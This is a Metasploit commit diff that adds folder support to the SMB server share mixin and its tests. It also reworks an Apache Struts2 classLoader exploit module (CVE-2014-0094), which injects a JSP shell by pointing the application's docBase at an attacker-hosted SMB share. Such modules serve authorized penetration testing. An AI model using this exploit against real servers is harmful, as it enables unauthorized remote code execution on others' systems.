Merge pull request #6 from jvazquez-r7/final_3323_folder_support

Add support for a folder and update module.  Thanks @jvazquez-r7  - yeah I was using an older version of my code for the exploit (whoops - long day...). Landed. I'll look at merging this with the existing exploit over the weekend.
bug/bundler_fix
Matthew Hall 2015-03-05 20:08:10 +00:00
commit fef8b89001
17 changed files with 99 additions and 81 deletions

View File

@ -175,10 +175,9 @@ module Msf
# @!attribute share
# @return [String] The share portion of the provided UNC.
attr_accessor :share
# @!attribute path_name
# @!attribute folder_name
# @return [String] The folder where the provided file lives.
# @note UNSUPPORTED
attr_accessor :path_name
attr_accessor :folder_name
# @!attribute file_name
# @return [String] The file name of the provided UNC.
attr_accessor :file_name
@ -199,6 +198,7 @@ module Msf
[
OptString.new('SHARE', [ false, 'Share (Default Random)']),
OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']),
OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default none)']),
OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)'])
], Msf::Exploit::Remote::SMB::Server::Share)
end
@ -207,7 +207,7 @@ module Msf
def setup
super
self.path_name = '\\' # TODO: Add subdirectories support
self.folder_name = datastore['FOLDER_NAME']
self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3))
self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3))
@ -224,7 +224,13 @@ module Msf
# Builds the UNC Name for the shared file
def unc
"\\\\#{srvhost}\\#{share}\\#{file_name}"
if folder_name
path = "\\\\#{srvhost}\\#{share}\\#{folder_name}\\#{file_name}"
else
path = "\\\\#{srvhost}\\#{share}\\#{file_name}"
end
path
end
# Builds the server address.

View File

@ -32,7 +32,12 @@ module Msf
attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
eof = file_contents.length
is_dir = 0
elsif payload.eql?(path_name.downcase)
elsif folder_name && payload.ends_with?(folder_name.downcase)
fid = smb[:dir_id].to_i
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
eof = 0
is_dir = 1
elsif payload == "\\"
fid = smb[:dir_id].to_i
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
eof = 0

View File

@ -87,8 +87,8 @@ module Msf
def smb_expand(path)
search_path = path.gsub(/<\./, '*.') # manage wildcards
extension = File.extname(file_name)
if search_path == "#{path_name}*#{extension}"
search_path = "#{path_name}#{file_name}"
if search_path =~ /\\\*#{extension}$/
search_path.gsub!(/\\\*#{extension}$/, "\\#{file_name}")
end
search_path

View File

@ -21,8 +21,15 @@ module Msf
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
search = 1
elsif path && path == path_name.downcase
data = Rex::Text.to_unicode(path_name)
elsif path && folder_name && path.ends_with?(folder_name.downcase)
data = Rex::Text.to_unicode(path)
length = 0
ea = 0x21
alloc = 0 # 0Mb
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
search = 0x100
elsif path && path == "\\"
data = Rex::Text.to_unicode(path)
length = 0
ea = 0x21
alloc = 0 # 0Mb
@ -52,8 +59,10 @@ module Msf
def smb_cmd_find_file_names_info(c, path)
if path && path.include?(file_name.downcase)
data = Rex::Text.to_unicode(file_name)
elsif path && path == path_name.downcase
data = Rex::Text.to_unicode(path_name)
elsif path && folder_name && path.ends_with?(folder_name.downcase)
data = Rex::Text.to_unicode(path)
elsif path && path == "\\"
data = Rex::Text.to_unicode(path)
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
end
@ -68,6 +77,7 @@ module Msf
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_find_file_full_directory_info(c, path)
if path && path.include?(file_name.downcase)
data = Rex::Text.to_unicode(file_name)
length = file_contents.length
@ -75,8 +85,15 @@ module Msf
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File
search = 0x100
elsif path && path == path_name.downcase
data = Rex::Text.to_unicode(path_name)
elsif path && folder_name && path.ends_with?(folder_name.downcase)
data = Rex::Text.to_unicode(path)
length = 0
ea = 0x21
alloc = 0 # 0Mb
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
search = 1
elsif path && path == "\\"
data = Rex::Text.to_unicode(path)
length = 0
ea = 0x21
alloc = 0 # 0Mb

View File

@ -48,15 +48,12 @@ module Msf
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
# @todo Delete elsif comment if testing proofs it as unnecessary
def smb_cmd_trans_query_path_info_basic(c, path)
if path && path.ends_with?(file_name.downcase)
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
#elsif path && path.ends_with?(file_name + '.Local')
#attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
elsif path && path == path_name.downcase
elsif path && folder_name && path.ends_with?(folder_name.downcase)
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
elsif path.nil? || path.empty? || path == "\x00" # empty path
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
@ -74,9 +71,9 @@ module Msf
def smb_cmd_trans_query_path_info_standard(c, path)
if path && path.include?(file_name.downcase)
attrib = 0 # File attributes => file
elsif path && path == path_name.downcase
elsif path && folder_name && path.ends_with?(folder_name.downcase)
attrib = 1 # File attributes => directory
elsif path.nil? || path.empty? || path == "\x00" # empty path
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
attrib = 1 # File attributes => directory
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
@ -101,9 +98,9 @@ module Msf
if path && path.include?(file_name.downcase)
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
elsif path && path == path_name.downcase
elsif path && folder_name && path.ends_with?(folder_name.downcase)
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
elsif path.nil? || path.empty? || path == "\x00" # empty path
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)

View File

@ -64,6 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr'])
], self.class)
deregister_options('FOLDER_NAME')
deregister_options('FILE_CONTENTS')
end

View File

@ -1,5 +1,5 @@
##
# This module requires Metasploit: http//metasploit.com/download
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@ -13,84 +13,84 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info={})
super(update_info(info,
'Name' => 'Struts JSP Injection over HTTP',
'Name' => 'Struts JSP Injection Over HTTP',
'Description' => %q{
This module exploits the classLoader Apache Struts2
vulnerability to inject a JSP shell over SMB.
This module exploits the classLoader Apache Struts2 vulnerability
to inject a JSP shell over SMB.
},
'Author' => [
'Matthew Hall <hallm@sec-1.com>',
],
'Author' =>
[
'Matthew Hall <hallm@sec-1.com>'
],
'DisclosureDate' => 'May 1 2014',
'Platform' => 'win',
'Privileged' => true,
'References' =>
[
[ 'URL', 'http://www.sec-1.com/blog/'],
[ 'CVE', '2014-0094' ],
['CVE', '2014-0094']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'false',
'EXITFUNC' => 'process'
},
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'Privileged' => true,
'Arch' => ARCH_JAVA,
'Platform' => [ 'win' ],
'Platform' => 'win',
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => ['win','linux']
},
]
],
'DefaultTarget' => 0,
))
register_options(
[
OptString.new('URI', [true, 'Path to vulnerable Struts action file', '/struts2-showcase/showcase.action', true ]),
OptString.new('FILE_NAME', [ true, 'A static JSP name (ie. "/example/HelloWorld.jsp")', 'showcase.jsp']),
Opt::RPORT(8080)
], self.class)
deregister_options('FILE_CONTENTS')
['Java Universal', {}]
],
'DefaultTarget' => 0,
))
register_options(
[
OptString.new('TARGETURI', [true, 'Path to vulnerable Struts action file', '/struts2-blank/example/HelloWorld.action']),
OptString.new('FILE_NAME', [ true, 'A static JSP name', 'HelloWorld.jsp']),
OptString.new('FOLDER_NAME', [ true, 'A static Folder', 'example']),
OptString.new('SHARE', [ true, 'Share', 'share']),
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]),
Opt::RPORT(8080)
], self.class)
deregister_options('FILE_CONTENTS')
end
def check
uri = datastore['URI'] + '?Class.classLoader.resources.dirContext.cacheObjectMaxSize=x'
res = send_request_raw({'uri'=>uri})
if res and res.body =~ /No result defined for action/
if res and res.body =~ /No result defined for action/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Unknown
end
end
def primer
self.file_contents = payload.encoded
def primer
self.file_contents = payload.encoded
print_status("File available on #{unc}...")
share = "#{unc}"
sploit = datastore['URI']
share = share.gsub(/\\/, '/')
#sploit << '?class.classLoader.resources.dirContext.docBase='
sploit = target_uri.to_s
sploit << '?Class.classLoader.resources.dirContext.docBase='
#sploit << '?Class.classLoader.resources.context.effectiveMajorVersion='
#sploit << "?class['classLoader']['resources']['dirContext']['docBase']="
sploit << share
sploit << "\\\\#{srvhost}\\#{share}"
print_status("Injecting JSP to #{datastore['RHOST']}:#{datastore['RPORT']} - #{sploit}")
res = send_request_raw({
send_request_raw({
'method' => 'GET',
'uri' => sploit
}, 30)
end
# Wait 30 seconds for session to be created
1.upto(30) do
break if session_created?
sleep(1)
def exploit
begin
Timeout.timeout(datastore['SMB_DELAY']) {super}
rescue Timeout::Error
# do nothing... just finish exploit and stop smb server...
end
disconnect
end
end

View File

@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
], self.class)
deregister_options('FOLDER_NAME')
deregister_options('FILE_CONTENTS')
end

View File

@ -79,7 +79,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'false.exe'
mod.file_contents = 'metasploit'

View File

@ -67,7 +67,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'false.exe'
mod.file_contents = 'metasploit'

View File

@ -78,7 +78,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'false.exe'
mod.file_contents = 'metasploit'

View File

@ -36,7 +36,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'test.exe'
mod.file_contents = 'metasploit'

View File

@ -35,7 +35,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'test.exe'
mod.file_contents = 'metasploit'

View File

@ -48,7 +48,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'test.exe'
mod.file_contents = 'metasploit'

View File

@ -78,7 +78,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'test.exe'
mod.file_contents = 'metasploit'

View File

@ -84,7 +84,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'test.exe'
mod.file_contents = 'metasploit'
@ -198,7 +197,7 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name))
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(folder_path))
end
end
end
@ -263,7 +262,7 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name))
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(folder_path))
end
end
end
@ -328,7 +327,7 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name))
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(folder_path))
end
end
end

View File

@ -79,7 +79,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'test.exe'
mod.file_contents = 'metasploit'